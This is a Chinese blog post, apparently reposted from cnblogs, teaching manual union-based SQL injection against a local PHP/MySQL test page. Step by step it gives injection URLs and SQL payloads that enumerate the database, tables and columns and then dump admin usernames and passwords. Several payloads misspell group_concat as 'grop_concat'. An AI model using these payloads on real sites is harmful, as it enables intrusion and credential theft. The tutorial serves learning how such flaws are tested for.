博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
PHP+mysql注入的基本过程
阅读量:4480 次
发布时间:2019-06-08

本文共 3162 字,大约阅读时间需要 10 分钟。

1:验证注入(and 1=1)

URL:     http://127.0.0.1/test.php?id=9 and 1=1     sql语句:select * from article where id =‘9 and 1=1’;返回正常

             http://127.0.0.1/test.php?id=9 and 1=2     sql语句:select * from aritcle where id =‘9 and 1=2’;返回报错

2:判断字符段数(order by和 union)

2.1    order by

URL:      http://127.0.0.1/test.php?id=9 order by 1,2,3,4         sql语句:select * from aritcle where id =9  order by 1,2,3,4;

order by 在sql语句中是对结果集的指定列进行排序。

如:当我们测试到7时报错,表明该表只有6个字段

2.2     UNION select

url:http://127.0.0.1/test.php?id=9 union select null,null,null,null             sql语句:select * from aritcle where id=9 union select null,null,null;

UNION SELECT 联合查询:可以用于一个或多个SELECT的结果集,但是他有一个条件,

就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,
也就是说当我们union select的列与它查询的列相同时,页面返回正常。

如:当字段为6个时页面返回正常,而大于或小于6个页面会报错。

解决两个小问题:

问题一:大部分程序只会调用数据库查询的第一条返回(我们这个也是),而通过联合查询出的数据中,
我们想看到的数据是在第二条中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,
第二种是通过sql语句直接返回我们想要的数据。

法一:我们让第一个查询的结果始终为假

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null

结果:返回为什么什么也没有呢 因为我们的第二个查询中并没有查询到什么 返回为NULL 自然就什么也没有了

我们把语句放在mysql中看一下返回结果:

法二:通过limit语句,limit在mysql中是用来分页的,我们也可以通过他拿到我们想要的结果集

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1

 

返回也是空,同上面结果一样

问题二:哪个列中的数据是在页面中显示出来的,可能有一些列中的数据只是用于后台程序对数据处理使用,

并不会在前台显示,所以我们需要判断哪个字段我们可以看到。如图,我们通过数字代替了NULL进行查询,
确定了2,3,4,5 四个字段可以在页面中显示。
回答一下为什么我们不一开始就是用数字,因为union select 不仅要求列的数量相同,同时数据类型也要相似。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

3.查询数据库

可以通过使用mysql自带的函数database()查询,得到数据库名:test

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

结果:显示出test

4.查表名

查表名我们主要用到的是TABLES表。

这里我们用到了group_concat它可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据。
这里我们的目标是admin表。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

结果:显示出所有表名,第一个为admin

5.查字段:

这里同样使用information_schema库,这里使用的是columns表。得到字段id,username,password

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

结果:id,username,password

6:查数据

url:    http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

sql语句:     SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
结果就出来了

 

 

 

 

        

转载于:https://www.cnblogs.com/zhouzetian/p/7298957.html

你可能感兴趣的文章
C#的整数类型
查看>>
UITabBar分栏控制器
查看>>
Linux find,grep命令
查看>>
ExtJs 源码
查看>>
(转)基础的重要性(程序员之路)
查看>>
JAVA中的CAS
查看>>
使用nginx代理跨域,使用nginx代理bing的每日一图
查看>>
自定义宏
查看>>
适配器模式
查看>>
Android中购物车的全选、反选、问题和计算价格
查看>>
GeoServer Rest服务启动匿名认证的配置方法
查看>>
网络流(最大独立点集):POJ 1466 Girls and Boys
查看>>
js立即执行函数
查看>>
cpio命令详解
查看>>
python学习笔记 python实现k-means聚类
查看>>
DNS & CDN & HTTPDNS 原理简析
查看>>
RS485连接CAN——应急用法【worldsing笔记】【待完善】
查看>>
新公司新项目新团队新领导
查看>>
在PADS中如何导出PCB封装库
查看>>
《设计模式之禅》学习笔记(十)
查看>>